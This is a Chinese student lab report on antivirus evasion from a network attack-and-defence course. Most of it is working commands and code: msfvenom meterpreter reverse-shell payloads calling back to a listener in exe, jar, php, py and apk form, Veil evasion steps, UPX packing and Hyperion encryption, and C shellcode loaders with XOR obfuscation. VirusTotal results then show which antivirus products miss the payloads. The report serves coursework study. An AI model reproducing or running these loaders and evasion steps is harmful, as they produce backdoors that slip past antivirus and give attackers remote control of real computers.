98
社区成员
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
②改变行为
③非常规方法
可疑文件分析网站,能够分析一个PE文件的免杀效果:
https://www.virustotal.com/gui/home/upload
使用实验环境中的网站检测实验二中生成的后门程序:
//编码1次,IP地址为Kali的IP地址
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode1.exe
//编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode10.exe
//编码22次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 22 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode22.exe
#修改编码次数,只需要修改 -i之后的那个数字即可
对应的VirusTotal检测结果如下:
编码1次
编码10次
编码22次
据观察,变是有变化,但是感觉多次编码与免杀效果有什么必然关系,数值基本都很大,而且变化也不大。
#输出jar文件,IP地址是Kali虚拟机IP
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> jar_20212422.jar
#输出php文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> php_20212422.php
#输出python文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> python_20212422.py
#输出apk文件,运行于android系统
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.163.129 LPORT=2422 x> apk_20212422.apk
jar文件
php文件
py文件
apk文件
据上述virusTotal测试结果可知,py的免杀效果相对最好,php文件和apk文件差不多,最差的是jar文件。
可见,payload对免杀的效果是有影响的,而且python作为payload的效果比较好,可能跟解释性语言的特性有些关系。
#payload从反向连接换成了反向tcp_ssl连接,并且采输出用raw文件
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.163.129 LPORT=2422 -f raw > ssl_20212422.py
检测结果如下:发现免杀率进一步提高了。
上图显示McAfee、Tencent等杀毒软件都没有发现病毒,说明这个文件很有希望在大众使用的电脑上实现免杀。
这是实验中最最最最难受的一步,我在经过了无数次的失败之后,终于安装成功了。
详细步骤在问题及解决方案中给出。
使用如下命令:
#使用流程
veil #进入veil工具
use evasion #选择使用evasion模块
use c/meterpreter/rev_tcp.py #选择payload
#也可以先用“list”查看所有可选择的payload,然后直接使用“use+payload序号”来进行选择
set LHOST 192.168.163.140 #设置IP
set LPORT 2422 #设置端口
generate #执行payload
c_20212422veil #输入生成文件的名称
//地址就是上述问题中提示的“not owned by you”前面提示的地址
sudo chown root:root -R /var/lib/veil/wine
apt-get install upx
//可以生成一个test.exe文件便于测试
upx 20212422_test.exe -o 20212422_upx1.exe
进行检测:
利用Hyperion对文件进行加密,并利用virusTotal进行免杀效果测试
命令如下:
//将待加密程序拷贝到工作目录下
cp 20212422_test.exe /usr/share/windows-resources/hyperion/
//进入工作目录下
cd /usr/share/windows-resources/hyperion
//前者为待加密程序名,后者为加密后程序名
wine hyperion.exe -v 20212422_encode1.exe 20212422_hyp.exe
进行免杀测试:
#生成Shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.163.140 LPORT=2422 -f c
#编写程序
vim 20212422_shellcode.c #进入vim编辑器,没有文件会新建
#程序内容如下:
unsigned char buf[] = "生成的shellcode";
int main()
{
int (*func)() = (int(*)())buf;//buf强转成函数型指针
func();
}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 20212422_shellcode.c -o 20212422_shellcode.exe
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 20212422shell.c -o 20212422shell.exe
#先把处理后的文件输出为raw格式,再将第一步的输出结果作为输入传递给msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.140 LPORT=2422 -b '\x00' -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -i 2 -f c
#对20212422XOR.c文件进行编辑,该文件的作用是输出异或后的shellcode到20212422XOR.txt中
vim 20212422XOR.c
#20212422XOR.c文件内容
#此文件用gcc 20212422XOR.c -o 20212422XOR.out和./20212422XOR.out来运行
#include<stdio.h>
#include <stdlib.h>
unsigned char buf[] = "异或前的shellcode";
int main()
{
FILE *fptr;
fptr = fopen("20212422XOR.txt", "w");
int i;
for (i = 0; i < sizeof(buf)-1; i++)
{
buf[i] ^= 0x01;
fprintf(fptr,"\\x%x", buf[i]);
}
if(fptr == NULL)
{
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}
#进入cr.c文件
vim cr.c
#该文件编译用
i686-w64-mingw32-g++ cr.c -o cr.exe
#cr.c文件内容
unsigned char buf[] = "异或后的shellcode";
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
}
int (*func)() = (int(*)())buf;
func();
}
cp cr.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v cr.exe cr_hyp.exe
upx cr_hyp.exe -o cr_hyp_upx.exe
至此,本次实验圆满结束!
P.S.
在这里,我不得不感慨火绒确实很强大,但是也侧面体现出,金山毒霸杀毒软件的病毒库确实不怎么强大。
(在主机里下载金山毒霸,感觉还是需要很大的勇气的• .•̀)
sudo apt-get install pip
sudo apt-get install git
跟着教程结束之后,veil就能够顺利使用了,最复杂,最费时间的问题在此刻解决!ᖘ ❛‿˂̵✧
//地址就是上述问题中提示的“not owned by you”前面提示的地址
sudo chown root:root -R /var/lib/veil/wine
本次实验是网络与系统攻防技术的第三次实验,本次实验中,我接触了一些免杀工具,也学习了msf编码、veil免杀、加壳等一系列的免杀方法。总体上来说,本次实验的内容还是很有意思的,特别是当自己用不同payload的文件放到VirusTotal网站里进行检测,看着或相似或差别很大的免杀数值的时候,确实是有那么一点“菜鸟黑客”的感觉了。
这次实验我的大部分时间都花费在安装veil上,在遇到许多奇奇怪怪的Error的同时,我也非常深刻地意识到了不能什么都靠CSDN,有很多问题根本没法解决,跟着某些“大神”的操作甚至能把报错红一行变成红十行,直接原地爆炸(这里就体现了快照的作用了,最起码不用重装虚拟机⁼̴̀ .̫ ⁼̴)。
在做这次实验的时候我也参考了很多学长学姐的报告,在对比一年前VirusTotal的免杀检测结果和现在的结果的时候,真的有意识到现在恶意代码和杀软的发展都是十分迅速的,一年前用ruby生成的payload免杀检测数值降低是很明显的,甚至能降到个位数,但是当现在我再去尝试的时候,发现数值并不低,也就是说杀软的功能越来越强大,免杀也变得越来越困难,看来在扎实基础、紧跟时代,才是学习的真谛啊ヽ( °▽゚)ノ